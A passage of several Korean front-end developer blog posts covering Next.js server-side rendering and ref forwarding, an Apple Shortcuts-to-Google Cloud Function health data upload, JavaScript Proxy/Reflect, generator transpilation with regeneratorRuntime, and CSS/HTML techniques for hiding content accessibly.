const result1 = 'hello 123'.search(digitRegex) > -1
const result2 = '123'.search(digitRegex) > -1
const result3 = '123'.search(digitRegex) > -1
const result4 = '바보'.search(digitRegex) > -1

console.log(result1) // true
console.log(result2) // true
console.log(result3) // true
console.log(result4) // false
```

---

Source: https://yceffort.kr/2021/03/server-side-rendering-and-react-components.md
Title: 리액트 서버사이드 렌더링과 컴포넌트
Description: 갈길이 멀다
Date: 2021-03-19
Tags: nextjs, react, ssr

next + react 로 서버사이드 렌더링 환경을 구축하면서 개발을 하고 있었는데 두 가지 문제에 부딪혔었다.

## 1. `window is not defined`, SSR 환경에서의 컴포넌트

먼저 원래 코드를 보자.

```javascript
import Calendar from '@toast-ui/react-calendar'

export default function Index() {
  return (
    <Calendar
      view="month"
      month={{
        narrowWeekend: true,
      }}
      onBeforeCreateSchedule={(e) => {
        setOpenCreatePopup(true)
        setSelectedDate(e.start.toDate())
      }}
      onClickSchedule={(e) => {
        console.log(e)
      }}
      scheduleView
      calendars={calendars}
      schedules={schedules}
    />
  )
}
```

```bash
Server Error
ReferenceError: window is not defined

This error happened while generating the page. Any console logs will be displayed in the terminal window.
Call Stack
Object.<anonymous>
file:///.../node_modules/tui-calendar/dist/tui-calendar.js (16:4)
```

```javascript
(function webpackUniversalModuleDefinition(root, factory) {
  if(typeof exports === 'object' && typeof module === 'object')
    module.exports = factory(require("tui-code-snippet"), require("tui-date-picker"));
  else if(typeof define === 'function' && define.amd)
    define(["tui-code-snippet", "tui-date-picker"], factory);
  else if(typeof exports === 'object')
    exports["Calendar"] = factory(require("tui-code-snippet"), require("tui-date-picker"));
  else
    root["tui"] = root["tui"] || {}, root["tui"]["Calendar"] = factory((root["tui"] && root["tui"]["util"]), (root["tui"] && root["tui"]["DatePicker"]));
})(window, function(__WEBPACK_EXTERNAL_MODULE_tui_code_snippet__, __WEBPACK_EXTERNAL_MODULE_tui_date_picker__) // 여기에서 에러가 난다.
```

해당 컴포넌트는 최초 시작시에 `window` 가 필요한데, 서버사이드 렌더링 시에는 `window`가 없는 환경이기 때문에 에러가 난다.

아래 코드를 넣고, 최초 페이지 접근시에 새로고침을 하면 이 모듈이 실행되는 환경이 node 임을 알 수 있다.

```javascript
console.log('node  >> ', globalThis === global) // true
```

결론적으로 이 컴포넌트는 서버사이드 렌더링을 지원하지 않고 있으며, 이를 해결하기 위해서는 `window`가 있는 브라우저 환경에서만 import 해서 사용해야 한다. 이를 nextjs에서 처리하기 위해서는 아래와 같이 하면 된다.

```javascript
// dynamic 만으로는 부족하다. 꼭 ssr을 꺼야 한다.
import dynamic from 'next/dynamic'
const Calendar = dynamic(() => import('@toast-ui/react-calendar'), {
  ssr: false,
})
```

## 2. Next SSR 환경에서의 ref

```javascript
export default function Index() {
  const cal = useRef()

  useEffect(() => {
    console.log(cal.current)
  }, [cal])

  return <Calendar ref={cal} />
}
```

위의 log 는 아래와 같이 찍힌다.

```bash
{retry: ƒ}
retry: ƒ ()arguments: (...)caller: (...)length: 0name: "bound retry"__proto__: ƒ ()[[TargetFunction]]: ƒ retry()[[BoundThis]]: LoadableSubscription[[BoundArgs]]: Array(0)__proto__: Object
```

> `useEffect`는 SSR에서 절대로 실행되지 않는다. 이를 해결하기 위해 [useServerEffect](https://www.npmjs.com/package/use-server-effect)라고 불리우는(?) 해괴한 effect가 있지만 , 굳이 그럴필요 없이 next의 `getServerSideProps`를 사용하면 된다.

왜 `useRef`는 정상적으로 동작하지 않는 것일까?

> `useRef` returns a mutable ref object whose `.current` property is initialized to the passed argument (initialValue). The returned object will persist for the full lifetime of the component.
>
> ...
>
> This works because useRef() creates a plain JavaScript object. The only difference between `useRef()` and creating a `{current: ...}` object yourself is that useRef will give you the same ref object on every render.

https://reactjs.org/docs/hooks-reference.html#useref

`useRef`는 순수한 자바스크립트 객체이며, 컴포넌트가 아무리 렌더링이 된다고 해도 같은 `ref`객체를 반환한다. 그런데 현재 `ref.current`에는 `retry`만 존재한다. 이것은 무엇일까?

https://github.com/vercel/next.js/blob/f06c58911515d980e25c33874c5f18ade5ac99df/packages/next/next-server/lib/loadable.js#L219-L260

https://github.com/vercel/next.js/blob/f06c58911515d980e25c33874c5f18ade5ac99df/packages/next/next-server/lib/loadable.js#L161-L173

위 두 코드에 정답이 나와있다. `useImperativeHandle`를 통해서 `ref`를 노출하고 있기 때문에, current에는 현재 세팅되어 있는 `retry`만 보이고 있었던 것이다. `useImperativeHandle`는 [`forwardRef`](https://ko.reactjs.org/docs/react-api.html#reactforwardref)와 사용해야 한다.

> `useImperativeHandle` customizes the instance value that is exposed to parent components when using `ref`. As always, imperative code using refs should be avoided in most cases. useImperativeHandle should be used with `forwardRef`:

https://reactjs.org/docs/react-api.html#reactforwardref

`forwardRef`는 전달 받은 `ref`속성을 하부트리의 다른 컴포넌트로 전달 할 수 있는 리액트 컴포넌트를 생성한다.

```javascript
// #components/TuiCalendarWrapper
import React from 'react'
import Calendar from '@toast-ui/react-calendar'

export default (props) => (
  // 3. 넘겨받은 `forwardedRef`를 진짜 컴포넌트에 넘긴다.
  <Calendar {...props} ref={props.forwardedRef} />
)
```

```javascript
const TuiCalendar = dynamic(() => import('#components/TuiCalendarWrapper'), {
  ssr: false,
})
// 2. forwardRef를 통해서 전달받은 ref를 하위 컴포넌트에 보낸다.
const CalendarWithForwardedRef = React.forwardRef((props, ref) => (
  <TuiCalendar {...props} forwardedRef={ref} />
))

export default function Index() {
  const ref = useRef()
  // 1. ref를 넘겨준다.
  return <CalendarWithForwardedRef ref={ref} />
}
```

Ref를 포워딩 하는 방법은 여기에 더 자세히 나와있다.

https://reactjs.org/docs/forwarding-refs.html

---

Source: https://yceffort.kr/2021/03/apple-health-shortcut.md
Title: 애플 단축어와 GCP로 내 건강정보 업로드하기
Description: 간만에 했본 간단하고 재밌는 일
Date: 2021-03-17
Tags: gcp, javascript

어디 공부할 만 한 좋은 포스팅이 없나 찾던 중, 애플의 단축어 명령으로 내 폰에 있는 건강정보를 업로드 할 수 있다는 포스팅을 보았다. https://blog.maximeheckel.com/posts/build-personal-health-api-shortcuts-serverless 그래서 이걸 나도 해보면 어떨까 싶어서, 최근에 빠져있는 걷기+달리기에 관련되니 정보를 업로드 해보는 작업을 해보았다.

## 1. 단축어 설정

일단 아이폰에 있는 단축어 앱을 사용해서 내 건강정보를 업로드 할 수 있는 환경을 만들어야 한다.

![shortcut1](./images/shortcut1.jpeg)
![shortcut2](./images/shortcut2.jpeg)
![shortcut3](./images/shortcut3.jpeg)
![shortcut4](./images/shortcut4.jpeg)

> 추가: 자동화와 연결해서 자기전에 자동으로 업로드 하도록 했다. 그러나 아이폰이 잠겨있을 경우에는 업로드가 되지 않으므로, 아이폰 잠금을 해제해 둬야 한다. 🤪

당연히, 헤더 정보에 secret 키 등으로 접근을 하지 못하게 막아둬야 한다. (누가 여기에 업로드 할 일이 있을지는 모르겠지만,,)

## 2. Google Cloud Function 작업

```javascript
exports.health = functions.https.onRequest(async (req, res) => {
  // {'health': {'run': '28.88118937860876', 'timestamps': '2021-03-17T08:45:00+09:00', 'unit': 'km'}}
  const {
    health: {run, timestamps},
  } = req.body

  const {secret} = req.headers

  if (secret !== APPLE_HEALTH_SECRET) {
    return res.send('permission denied! 🤬')
  }

  const healthRef = db.collection('apple_health')

  const date = new Date(timestamps)
  const timeZoneFromDB = +9.0
  const tzDifference = timeZoneFromDB * 60 + date.getTimezoneOffset()
  const offsetDate = new Date(date.getTime() + tzDifference * 60 * 1000)

  const key = `${offsetDate.getFullYear()}${(offsetDate.getMonth() + 1)
    .toString()
    .padStart(2, 0)}${offsetDate.getDate()}`

  const data = (await healthRef.doc('daily').get()).data()

  healthRef.doc('daily').set({
    ...data,
    [key]: run,
  })

  // 응답을 단순 text로 쏘면 아이폰에서 알림을 내보낼 수 있다.
  res.send('성공')
})
```

## 3. 결과

![result](./images/shortcut-result.gif)

![result](./images/shortcut-result.png)

지금은 단축어 앱을 클릭해야만 업로드 되는 구조지만, 이 작업을 그대로 단축어 > 자동화에 옮기면 자동으로 처리할 수 있다. 애플 워치에서 운동이 끝난 뒤라든가, 수면 준비 시작 시간이 되면 업로드 한다든가,,

처음에 단축어 앱이 생겼을 때, 그냥 단순히 QR 체크인 꺼내는 용도로만 썼었는데 이렇게 강력한 기능이 있는지 몰랐다. 이렇게 반성하면서 🤪 이걸로 해볼만한 더 재밌는일이 있을지 고민해봐야겠다. 심박수나 달리기 정보를 strava처럼 그래프로 보여주는 것들을 하면 재밌을 것 같다.

---

Source: https://yceffort.kr/2021/03/javascript-proxy.md
Title: 자바스크립트의 프록시
Description: IE를 주깁시다
Date: 2021-03-12
Tags: javascript

ES6에서 새롭게 나온 Proxy는 요즘 많은 프레임워크에서 (요즘이라기엔 많이 지났지만,) 주목하고 있는 기능인 것 같다.

[mobx에서도 proxy를 쓰고 있고](https://mobx.js.org/configuration.html) [2010 JSconf 에서도 관련 영상이 존재하고](https://www.youtube.com/watch?v=sClk6aB_CPk&ab_channel=JSConf) (무려 11년전,,) [vue.js](https://v3.vuejs.org/guide/reactivity.html#what-is-reactivity)에서도 reactivity 지원을 위해 Proxy를 사용하고 있다.

## Proxy

[Proxy 객체는 기본적인 동작(속성 접근, 할당, 순회, 열거, 함수 호출 등)의 새로운 행동을 정의할 때 사용합니다.](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Proxy) 라고 되어 있다. 즉, 특정 객체의 읽기 쓰기 등 객체에 가해지는 작업을 중간에 가로채서 새로운 작업을 할 수 있는 것을 말한다. 프록시를 이해 하기 위해서는 아래의 용어에 대해 이해하고 있어야 한다.

- `target`: 기본 동작을 가로챌, 즉 감싸게 될 객체로 함수를 포함해서 모든 객체가 가능하다.
- `handler`: 동작을 가로채는 메서드인 `trap`을 가지고 있는 객체로, 여기에서 프록시를 설정한다.

먼저 트랩이 존재하지 않는 (= 동작을 가로채는 메서드가 없는) 예제를 살펴보자.

```javascript
const target = {}
const proxy = new Proxy(target, {}) // 핸들러가 없다

proxy.test = 5 // 프록시에 값을 썼는데

console.log(target.test) // 5 타겟에도 프로퍼티가 추가됐다.
console.log(proxy.test) // 5 프록시를 통해서도 읽을 수 있다.

console.log(proxy) // Proxy {test: 5}
console.log(target) // {test: 5}
```

마치 프록시가 타겟을 감싸는 래퍼처럼 작동한다.

이제 본격적으로 트랩을 추가하기 전에, 프록시가 가로챌 수 있는 작업에는 무엇이 있는지 알아보자.

- `get`
- `set`
- `has`
- `deleteProperty`
- `apply`
- `constructor`
- `getPrototypeOf`
- `setPrototypeOf`
- `isExtensible`
- `preventExtensions`
- `getOwnPropertyDescriptor`
- `ownKeys`

이 중에서, 가장 기본적인 예제인 `get` 트랩을 만들어보자.

```javascript
const arr = new Proxy([0, 1, 2, 3], {
  get(target, prop) {
    if (prop in target) {
      return target[prop]
    } else {
      console.log(`${prop}은 존재하지 않습니다`)
      return 0
    }
  },
})

console.log(arr[0]) // 1
console.log(arr[1]) // 2
console.log(arr[100]) // 0
// 100은 존재하지 않습니다 proxyConsoleLog.js:12
```

프록시에서 정의한 trap이 get을 가로채서 작동하고 있음을 알 수 있다.

이번엔 `set`트랩을 만들어보자. 다른언어의 그것 처럼, 숫자만 추가할 수 있는 배열을 만들어보자.

```javascript
const arr = new Proxy([], {
  set(target, prop, value) {
    if (typeof value === 'number') {
      target[prop] = value
      return true
    } else {
      return false
    }
  },
})

arr.push(1)
arr.push(2)
arr.push(3)
arr.push('졸려') // VM503:1 Uncaught TypeError: 'set' on proxy: trap returned falsish for property '3'

console.log([...arr]) // 1, 2, 3
```

성공적으로 push를 막은 것을 볼 수 있다.

## Reflect

[`Reflect`는 중간에서 가로챌 수 있는 작업에 대한 메소드를 제공한다.](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Reflect) `Reflect`는 생성자 함수가 아니므로, 인스턴스를 만들거나 `new`로 호출할 없다.

요약해서 말하자면, `Proxy` 생성을 단순화 한 빌트인 객체라고 보면 된다.

```javascript
const user = new Proxy(
  {name: 'John'},
  {
    get(target, prop, receiver) {
      return target[prop]
    },
    set(target, prop, val, receiver) {
      target[prop] = value
      return true
    },
  },
)
```

```javascript
const user = new Proxy(
  {name: 'John'},
  {
    get(target, prop, receiver) {
      return Reflect.get(target, prop, receiver) // target[prop] 를 대체 해주었다.
    },
    set(target, prop, val, receiver) {
      return Reflect.set(target, prop, val, receiver) // target[prop] = value 를 대체해주고, true/false도 리턴해준다.
    },
  },
)

console.log(user.name) // John
user.name = 'Pete' // pete
```

## `Observable` 만들기

mobx의 그것인 observable을 만들어보자.

```javascript
// 모든 객체에 공통적으로 observe를 달아둘 심볼
// 심볼로 선언하여 모든 객체에서 동일한 방법으로 접근할 수 있도록 한다.
const handlers = Symbol.for('handlers')

// 객체를 넘겨 받아서 observable 하게 만든다.
function observable(target) {
  // observe가 들어가는 곳
  target[handlers] = []

  // observe에 함수가 들어오면, handlers에 넣어 둔다.
  target.observe = function (handler) {
    this[handlers].push(handler)
  }

  // 프록시를 리턴한다.
  return new Proxy(target, {
    set(target, property, value, receiver) {
      // Reflect.set으로 값을 설정한다.
      const result = Reflect.set(...arguments)
      if (result) {
        // 각 handler에 현재 set arguments를 넘겨준다.
        target[handlers].forEach((handler) =>
          handler({target, property, value, receiver}),
        )
      }
      return result
    },
  })
}

const user = observable({})

user.observe(({property, value}) => {
  console.log(`'${property}' => '${value}'`)
})

user.name = '삼전주가떡상기원' // 'name' => '삼전주가떡상기원'
```

## Polyfill

바벨의 문서에는 다음과 같이 적혀있다.

https://babeljs.io/docs/en/learn/#ecmascript-2015-features-proxies

> Unsupported feature
>
> Due to the limitations of ES5, Proxies cannot be transpiled or polyfilled. See support in various JavaScript engines.

[따라서 babel repl에서 시도해보아도, 별 소용이 없다..](https://babeljs.io/repl#?browsers=defaults%2C%20ie%2011%2C%20not%20ie_mob%2011&build=&builtIns=false&spec=false&loose=false&code_lz=MYewdgzgLgBAhgJwTAvDMBTA7jACgkADwE8AKAbQF0AaGAbwCgYYIMpSpEBzN2gBwJ9aANzgAbAK4YAlPWbMm8gJYAzGB2J8MINaMkZUKNAHIwEgLYAjDAmOzG8-ZwQ8o5ASD6VUMPVMWOCGwSCGAwUAj-jgC-MBhirPQB8kFQIWEq4qzJ0Yq50dIMQA&debug=false&forceAllTransforms=false&shippedProposals=false&circleciRepo=&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=env&prettier=false&targets=&version=7.13.10&externalPlugins=)

- https://kangax.github.io/compat-table/es6/#test-Proxy
- https://github.com/GoogleChrome/proxy-polyfill
- https://caniuse.com/proxy

아쉽게도, 완벽하게 polyfill이 지원이 되지 않는다. 구글 크롬팀에서 만든 폴리필도 몇가지 밖에 동작하지 않는다.

> Currently, the following traps are supported-
>
> - get
> - set
> - apply
> - construct

따라서, ie 브라우저에서는 사용할 수 없다.

---

Source: https://yceffort.kr/2021/03/javascript-generator-regeneratorRuntime.md
Title: 자바스크립트의 제네레이터와 regeneratorRuntime
Description: 아직도 자바스크립트 산을 기어 올라가는 중
Date: 2021-03-09
Tags: javascript

[이 전에 generator에 대해서 설명한 적이 있다.](/2020/05/javascript-generator) 이번 포스팅에서는 제네레이터의 설명보다는, 이와 관련된 개념적인 이해와 제네레이터를 사용하기 위해 폴리필로 쓰이는 regeneratorRuntime에 대한 이야기를 해보려고한다.

## 블로킹 하지 않는 다는 것

아마도 '논 블로킹' 자바스크립트 코드를 짜는 것의 중요성을 들어 본적이 있을 것이다. Http 요청이나 데이터베이스 접근 같은 같은 I/O작업이 있을 경우, 일반적으로 콜백이나 프로미스를 사용하여 이를 처리한다. 블로킹이 일어나는 작업을 처리할 경우, 프로그램 전체가 마비되는 끔찍한 일을 마주할 수 있다. 만약 모든 사용자들이 시스템과 상호작용 하기 위해 자리가 빌 때 까지 대기해야 된다고 생각해보자. 🤬

또 하나 다른 이야기 해보자면, 자바스크립트 프로그램이 무한 루프에 들어가서 망해버리는 것이다. `node -e 'while(true){}` 를 실행해보자. 컴퓨터가 맛탱이가 가서 재시작이 필요할 것이다. (물론 어디까지나 개념적인 이야기 이다.)

이런 저런 배경지식들로 비춰봤을 때, 어떻게 es6의 제네레이터가 함수의 실행 중간에 호출을 '중지' 했다가 다시 미래에 '재개' 될 수 있냐는 물음이 생길 것이다. 또한 제네레이터 내에서 무한루프를 도는 코드도 멀쩡히 돌아가는 것을 볼 수 있다.

```javascript
const fibonacci = (function* () {
  let [prev, current] = [0, 1]

  while (true) {
    ;[prev, current] = [current, prev + current]
    yield current // 현재 값을 내보낸다.
  }
})()

const a = fibonacci.next()
console.log(a) // { value: 1, done: false }

const b = fibonacci.next()
console.log(b) // { value: 2, done: false }
```

> . 뭔가,, 이러나고 이씀,,,

얼핏 보면 무언가 자바스크립트의 새로운 버전이 나타나서 처리하는 것 같지만, 그렇지 않다. `regenerator`와 `babel`을 사용한다면, 일반 es5에서도 쉽게 이 코드를 사용할 수 있다.

```javascript
'use strict'

var fibonacci = /*#__PURE__*/ regeneratorRuntime.mark(function _callee() {
  var prev, current, _ref

  return regeneratorRuntime.wrap(function _callee$(_context) {
    while (1) {
      switch ((_context.prev = _context.next)) {
        case 0:
          ;((prev = 0), (current = 1))

        case 1:
          if (!true) {
            _context.next = 10
            break
          }

          _ref = [current, prev + current]
          prev = _ref[0]
          current = _ref[1]
          _context.next = 8
          return current

        case 8:
          _context.next = 1
          break

        case 10:
        case 'end':
          return _context.stop()
      }
    }
  }, _callee)
})()
var a = fibonacci.next()
console.log(a) // { value: 1, done: false }

var b = fibonacci.next()
console.log(b) // { value: 2, done: false }
```

> 우리의 바벨과 regeneratorRuntime느님이 generator를 처리해주고 계시는 보습

![몬가 일어나고 잇음](https://mblogthumb-phinf.pstatic.net/MjAxOTA3MDFfMzAw/MDAxNTYxOTcxNzY2Mjg2.HubJEeou7vpe0OfwuPEbTCff66c4wvZJU0eMPpG9nqog.hagLHvBobHoeMq0JKRY0KVYVNbMjDE9-n1YyujKdw5kg.JPEG.ordo1194/1561971764732.jpg?type=w800)

일단, 제네레이터에 대한 설명은 아래에 자세히 나와있다.

- https://nodeschool.io/ko/
- https://yceffort.kr/2020/05/javascript-generator
- https://github.com/isRuslan/learn-generators

## 게으른 결과

간단한 예제로 시작해보자. 뭔가 내가 일련의 값들을 가지고 무언가를 해야 한다고 상상해보자. 이를 배열로 만들어서 사용하는 방법도 있을 것이다. 하지만 그 길이가 무한대라면? 배열로는 처리할 수 없다. 그러나 제네레이터로 가능하다.

```javascript
function* generateRandoms(max) {
  max = max || 1

  while (true) {
    let newMax = yield Math.random() * max
    if (newMax !== undefined) {
      max = newMax
    }
  }
}
```

`function`뒤에 있는 `*`가 일반적인 함수와는 다른 제네레이터 함수임을 알려주고 있다. 다른 중요한 부분은 `yield`키워드다. 일반적인 함수는 `return`을 쓰지만, 제네레이터는 `yield`다. 제네레이터 함수는 결과를 `yield` 한 곳으로 넘겨준다.

우리는 이 함수가 의도하는 바가 _다음 값을 요청할 때마다, 0과 max 사이의 랜덤한 값을 리턴한다. 이를 프로그램이 끝날 때까지 반복한다_ 라는 것을 알 수 있다. 여기서 프로그램이 끝날때란, 내 컴퓨터를 박살내거나 지구 종말이 오는 때를 의미한다. break나 return이 없는 `while(true)`란 그런 것이다.

이 처럼, 우리는 제네레이터를 통해서 값을 '요청' 할 때 딱 받을 수 있다. 이것은 매우 중요하다. 만약 그렇지 않으면, 무한히 증가하는 배열이 모든 메모리를 잡아먹을 수 있기 대문이다. 우리는 값을 `iterator`를 사용해서 얻을 수 있고, 이는 제네레이터 함수를 호출할 때 받을 수 있다.

```javascript
var iterator = generateRandoms()

console.log(iterator.next()) // {value: 0.8768122791044803, done: false}
console.log(iterator.next()) // {value: 0.06359353223017372, done: false}
```

제네레이터는 또한 양방향 커뮤니케이션을 지원한다. `let newMax = yield Math.random() * max;` 그리고 제네레이터는 누군가 사용하지 않는다면 중지된 상태로 남아있게 되며, 누군가 다음 값을 요청할 때 다시 활성화 된다. 만약 `iterator.next`를 호출해서 값을 넘기게 된다면, 그 값을 바탕으로 새로운 결과를 알려주게 된다.

```javascript
console.log(iterator.next(1000)) // {value: 368.0289602019955, done: false}
console.log(iterator.next(2000)) // {value: 21.21145723376827, done: false}
```

## es5의 제네레이터

제네레이터가 어떻게 동작하는지 알기 위해서는, es5로 어떻게 번역되는지를 살펴볼 필요가 있다. 이는 https://babeljs.io/repl 에서 쉽게 가능하다.

```javascript
'use strict'

var _marked = /*#__PURE__*/ regeneratorRuntime.mark(generateRandoms)

function generateRandoms(max) {
  var newMax
  return regeneratorRuntime.wrap(function generateRandoms$(_context) {
    while (1) {
      switch ((_context.prev = _context.next)) {
        case 0:
          max = max || 1

        case 1:
          if (!true) {
            _context.next = 8
            break
          }

          _context.next = 4
          return Math.random() * max

        case 4:
          newMax = _context.sent

          if (newMax !== undefined) {
            max = newMax
          }

          _context.next = 1
          break

        case 8:
        case 'end':
          return _context.stop()
      }
    }
  }, _marked)
}
```

보시다시피, 제네레이터 함수는 `switch` 블록으로 다시 쓰여졌음을 알 수 있다. 그리고 이것이 제네레이터가 동작하는 것에 대한 힌트다. 제네레이터를 일종의 루프안에 있는 상태관리 머신으로 볼 수 있으며, 이는 우리가 어떻게 상호작용 하느냐에 따라 달라진다. `_context`는 현재 상태값을 가지고 있으며, 어떤 case 문이 실행되어야 하는지도 정해준다.

위 코드를 이해하는 쉬운방법은, `case`문을 라인넘버라 보고, `_context.next`를 `GOTO` 문으로 보는 것이다.

- `case 0`: `max`를 초기화 하고 `case 1`로 간다.
- `case 1`: 랜덤 값을 `yield`하고, 다음번에 실행한다면 4번으로 간다.
- `case 4`: iterator가 값을 보내줬는지 (`_context.sent`) 확인하고, 그렇다면 `max`를 갱신한다. 그리고 `GOTO 1`로 해서, 다음 랜덤 값을 생성한다.

이것이 `블로킹 하지 않는다` 라는 룰을 준수하면서, 제네레이터가 무한히 루프를 돌면서도 중지되고 재개될 수 있는지를 나타내는 원리다.

## `(!true)`?

한가지 이상한 코드가 있다.

```javascript
if (!true) {
  _context.next = 8
  break
}
```

여기선 무슨일이 일어나는 걸까? 이는 우리의 `while(true)`가 어떻게 다시 쓰이는지를 나타낸다. 상태 머신이 루프 할 때 마다 매번 끝이 났는지를 확인한다. 이 예제에서는 절대 그럴 수 없지만, 간혹 제네레이터에 종료절이 필요할 때가 있다. 그럴 때 제네레이터를 멈추는 것이 `case 8`이다. 즉, 제네레이터가 종료하는 경우가 생기게 된다면 `(!true)`대신 종료에 대한 조건이 생길 것이다.,

## 이터레이터의 로컬 상태

한 가지 더 흥미로운 것은, 제네레이터가 어떻게 각 이터레이터의 local state를 보관하고 있는 지다. `newMax`는 `regeneratorRuntime.wrap` 스코프 밖에서 클로져 형태로 존재하므로, `iterator.next()`가 호출되도 계속 값을 유지하고 있을 수 있다. `randomNumbers()` 호출로 새로운 이터레이터가 만들어지면, 또다른 클로져가 만들어진다. 이는 어떻게 각 이터레이터가 동일한 제네레이터를 사용하여 영향을 주지 않고 자신의 상태값을 가지고 있을 수 있는지 보여준다.

## 코드 내부

`switch` 코드 내부도 사실, `regeneratorRuntime.wrap`와 `regeneratorRuntime.mark`에 의해 래핑된 것을 볼 수 있다. 이 코드는 https://github.com/facebook/regenerator 에서 만들어진 모듈로, es5에서도 es6의 제네레이터 함수가 올바르게 동짝 할 수 있도록 도와주는 코드다.

`regeneratorRuntime`에는 많은 흥미로운 코드가 있지만, 먼저 우리는 `Suspended Start`에서 제네레이터의 수명이 시작되는 것을 볼 수 있다.

https://github.com/facebook/regenerator/blob/0c2aba1af78be03da05de96b6c69f231b85993dc/packages/regenerator-runtime/runtime.js#L243-L246

```javascript
function makeInvokeMethod(innerFn, self, context) {
  var state = GenStateSuspendedStart

  return function invoke(method, arg) {
    // ...
  }
}
```

여기에서는 단순히 함수를 만들고 리턴한다. 그 말인 즉, `var iterator = generateRandoms()`를 하더라도, `generatorRandoms` 내부에서는 사실 처음 값을 요청할 때 까지는 내부의 어떤 것도 실제로 실행되지 않는다.

제네레이터 함수의 `iterator.next()`를 호출하면, 아래의 코드가 실행된다.

```javascript
var record = tryCatch(innerFn, self, context)
```

https://github.com/facebook/regenerator/blob/0c2aba1af78be03da05de96b6c69f231b85993dc/packages/regenerator-runtime/runtime.js#L293

만약 결과가 `throw`가 아니고 일반적인 `return`이라면, 이 결과를 이터러블 하도록 `{value, done}`으로 감싼다. 그리고 종료 여부에 따라서 상태를 `GenStateCompleted` 나 `GenStateSuspendedYield`로 세팅해둔다. 우리 코드의 경우, 종료는 없으므로 `GenStateSuspendedYield` 상태가 될 것이다.

```javascript
  if (record.type === "normal") {
    // If an exception is thrown from innerFn, we leave state ===
    // GenStateExecuting and loop back for another invocation.
    state = context.done
      ? GenStateCompleted
      : GenStateSuspendedYield;

    if (record.arg === ContinueSentinel) {
      continue;
    }

    return {
      value: record.arg,
      done: context.done
    };
```

https://github.com/facebook/regenerator/blob/0c2aba1af78be03da05de96b6c69f231b85993dc/packages/regenerator-runtime/runtime.js#L294-L308

## 결론

우리는 간단히 제네레이터를 활용하여 잠재적으로 무한한 값의 시퀀스를 만드는 코드를 만들었고, 이는 게으르게 (원하는 때에) 사용될 수 있다. 이는 `regeneratorRuntime`을 활용한다면 구형 브라우저에서도 지금 바로 사용할 수 있는 코드다.

---

Source: https://yceffort.kr/2021/03/hiding-contents-with-html-and-css.md
Title: HTML과 CSS를 활용해서 콘텐츠를 숨기는 10가지 방법
Description: 원래 알던건 두 세가지밖에 안됨
Date: 2021-03-05
Tags: html, css, accessibility

## 요약

| method                       | Visible   | Accessible |
| ---------------------------- | --------- | ---------- |
| `.sr-only`                   | X         | O          |
| `aria-hidden="true"`         | O         | X          |
| `hidden=""`                  | X         | X          |
| `display: none`              | X         | X          |
| `visibility: hidden`         | X (Space) | X          |
| `opacity: 0`                 | X (Space) | Depends?   |
| `clip-path: circle(0)`       | X (Space) | Depends?   |
| `transform: scale(0)`        | X (Space) | O          |
| `width: 0`+`height: 0`       | X         | X          |
| `content-visibility: hidden` | X         | X          |

## `.sr-only`

`.sr-only`는 페이지에서는 가리지만, 스크린 리더에서는 접근 가능하도록 하는 일종의 CSS 선언이다. [bootstrap에 이와 관련된 코드가 있다](https://getbootstrap.com/docs/4.0/utilities/screenreaders/)

```css
.sr-only {
  border: 0 !important;
  clip: rect(1px, 1px, 1px, 1px) !important;
  -webkit-clip-path: inset(50%) !important;
  clip-path: inset(50%) !important;
  height: 1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important;
  white-space: nowrap !important;
}
```

이 방법은 텍스트를 마스킹하는데만 사용해야 한다. 다시 말해, 숨겨진 요소안에 focus 가능한 엘리먼트가 있어서는 안된다. 그렇지 않으면, 보이지 않는 엘리먼트가 스크롤이 되는 등의 귀찮은 일이 있을 수 있다.

## `aria-hidden` 속성

[aria-hidden](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute)이 `true`로 설정되면, accessibility tree에서 해당 콘텐츠를 가리지만, 여전히 시각적으로는 볼수 있다. `aria-hidden="true"` 엘리먼트에 기본 스타일을 적용하는 브라우저는 없다.

주의 할 점은 , `aria-hidden="true"`가 focusable한 요소가 되어서는 안된다는 것이다. 스크린리더에는 보이지 않지만, focus가 되기 때문이다.

```html
<!-- 안됨 -->
<button aria-hidden="true">press me</button>
```

## `display: none`과 `hidden`속성

이 두가지 방법은 모두 렌더링트리와 접근성 트리에서 사라지게 한다. `hidden`은 별도의 CSS가 없이도 HTML을 통해서 완전히 마스킹할 수 있어서 편리한 점이 있다.

## `visibility :hidden`

이 css 속성은 레이아웃에 영향을 미치지 않고 엘리먼트를 감춘다. 사라진 공간은 빈 공간으로 남으며, 리플로우가 일어나지 않는다. 접근성 관점에서 보았을 때는 위의 `display:none`과 동일하다.

## `opacity:0`, `clip-path: circle(0)`

이 두 속성은 엘리먼트의 요소를 안보이게 하지만, `visibility: hidden`과 마찬가지로 빈공간이 남아 있게 된다. 이 콘텐츠에 접근할 수 있는지 여부는 접근성 기술에 따라 다르다. 따라서 일관되게 숨기려면 이것을 사용하지 않는 것이 좋다.

## `transform: scale(0)`

시각적으로 엘리먼트를 감추지만, 위 두속성과 마찬가지로 빈공간이 남는다. 그러나 스크린 리더에서는 이 요소에 접근할 수가 있다.

## `width: 0`, `height: 0`

특정 요소의 너비와 높이를 0으로 설정하여 숨기는 방식으로, 스크린리더 또한 이 엘리먼트가 접근 가능하지 않은 것으로 간주하고 건너뛴다. 그러나 이 기술은 일종의 낚시(?ㅋㅋ)같은 수상한 기술이고, SEO 차원에서도 좋지 못하다.

## `content-visibility: hidden`

[이 속성](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility)은 크롬브라우저에서 특정 요소의 렌더링을 뷰포트내에 있기전까지는 가리는 방법으로 도입되었다. 이 속성은 `display: none`과 마찬가지로 접근성 트리에서 사라진다. 접근성차원에서 봤을 때는 그다지 좋은 기술은 아니므로 쓰지 않는 것이 좋다.

- https://web.dev/content-visibility/
- https://wit.nts-corp.com/2020/09/11/6223

## 요약

일반적으로 말하자면, 시각적인 내용과 접근성으로 노출되는 내용간에 너무 많은 불일치가 존재해서는 안된다. 둘 모두에게 잘 동기화된 내용을 보여주어야 한다.

- 만약 화면과 접근성 모두에서 가리고 싶다면, `display:none` `hidden`을 사용하는 것이 좋다. (위젯을 토글하거나, 다이얼러그를 닫는 등)
- 접근성에서는 감추지만 시각적으로 보이고 싶을 경우에는, `aria-hidden="true"`를 사용하자. (아이콘과 같은 경우)
